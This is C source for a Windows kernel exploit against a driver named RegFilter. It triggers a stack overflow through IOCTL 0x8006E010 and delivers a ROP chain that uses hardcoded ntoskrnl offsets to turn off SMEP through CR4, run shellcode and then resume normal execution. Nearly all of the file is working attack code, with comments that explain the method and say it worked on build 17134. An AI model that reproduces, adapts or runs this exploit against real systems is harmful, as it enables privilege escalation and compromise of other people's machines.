#include #include #include /* Kernel related offsets are for ntoskrnl, version: 10.0.17134.285 Working as of 10/23/18 */ typedef unsigned long long QWORD; // DWORD64 int main(int argc, char* argv[]) { HANDLE hDriver = CreateFileW(L"\\\\.\\RegFilter", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); // Get a handle to the driver if (hDriver != INVALID_HANDLE_VALUE) { printf("[i] Found driver\n"); LPVOID lpInMemoryArea = VirtualAlloc((LPVOID)0x41000000, 0x300, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); LPVOID lpOutMemoryArea = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); LPVOID lpShellcodeArea = VirtualAlloc((LPVOID)0x43000000, 0x400, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); BYTE arrShellcode[] = { 0x49, 0xC7, 0xC6, 0x02, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC6, 0x01, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC1, 0x78, 0x06, 0x07, 0x00, 0x48, 0x83, 0xEC, 0x18, 0x48, 0xB8, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0x50, 0x48, 0xB8, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0x50, 0xC3 }; /* This code contains 2: mov rax, 0xEEEEEEEEEEEEEEEE push rax instruction sequences. 0xEE... will be dynamicly edited at runtime which will allow a return to nt!IopSynchronousServiceTail + 0x1ab at the end of shellcode. The other assembly moves values that would have been in registers if the code hade returned normally */ if (lpInMemoryArea == NULL || lpShellcodeArea == NULL) { printf("[!!!] Unable to allocate memory\n"); ExitProcess(-1); } printf("[i] Allocated memory\n"); memset(lpInMemoryArea, 0xEE, 0x1C0); // Clean memory area memset(lpShellcodeArea, 0x00, 0x400); memmove(lpShellcodeArea, &arrShellcode, 48); // Put shellcode in proper memory area LPDWORD lpcbNeeded = 0; // Size you need (the "safe" way) LPVOID arrDriversAddresses[250] = { 0 }; // Change if you have more than 250 drivers loaded K32EnumDeviceDrivers(arrDriversAddresses, 0x250, &lpcbNeeded); // You could also call this function twice, and get the array size you need QWORD qwTemp = arrDriversAddresses[0]; // First value is ntoskrnl.exe base address qwTemp += 0x1A58F0; // nt!HvlEndSystemInterrupt + 0x20 QWORD qwRCX = 0x30678; // value for rcx, so: mov cr4, rcx ; has cr4 with SMEP disabled memmove((BYTE*)lpInMemoryArea + 0x38, &qwTemp, sizeof(QWORD)); // First link in ROP chain (pop rcx) memmove((BYTE*)lpInMemoryArea + 0x40, &qwRCX, sizeof(QWORD)); // Value that will be popped into rcx qwTemp = arrDriversAddresses[0]; qwTemp += 0x47E6FD; // nt!KiEnableXSave + 0x54D1 memmove((BYTE*)lpInMemoryArea + 0x48, &qwTemp, sizeof(QWORD)); memmove((BYTE*)lpInMemoryArea + 0x50, &lpShellcodeArea, sizeof(QWORD)); /* In order to restore code execution, the stack must be re-aligned before IopSynchronousServiceTail Therefore at the end of our shellcode, we must sub from rsp (go backwards) push ret addresses to the stack to disable SMEP and return to IopSynchronousServiceTail. [Exploit End] <--| ---> [Exploit Start] | [Shellcode] ---->|(Dynamic addition of rets to stack) */ qwTemp = arrDriversAddresses[0]; qwTemp += 0x47E6FD; // nt!KiEnableXSave + 0x54D1, re-enable SMEP, so no Patch Guard, or other strange BSoDs memmove((BYTE*)lpShellcodeArea + 38, &qwTemp, sizeof(QWORD)); // Add ret location to stack qwTemp = arrDriversAddresses[0]; qwTemp += 0x4E619B; // nt!IopSynchronousServiceTail + 0x1AB, hopefully resume normal execution memmove((BYTE*)lpShellcodeArea + 27, &qwTemp, sizeof(QWORD)); // Add ret location to stack DWORD dwIoctl = 0x8006E010; // Stack overflow IOCTL printf("[i] Sending IOCTL 0x%X\n", dwIoctl); DWORD dwBytesOut = 0; NTSTATUS dwLastError = DeviceIoControl(hDriver, dwIoctl, lpInMemoryArea, 0x68, lpOutMemoryArea, 0x8, &dwBytesOut, NULL); // nlnInBufferSize is in Bytes (0x68 is needed) printf("[i] Success? Return: %X\n", dwLastError); } else { printf("[!!!] Unable to find driver\n"); ExitProcess(-1); } ExitProcess(0); }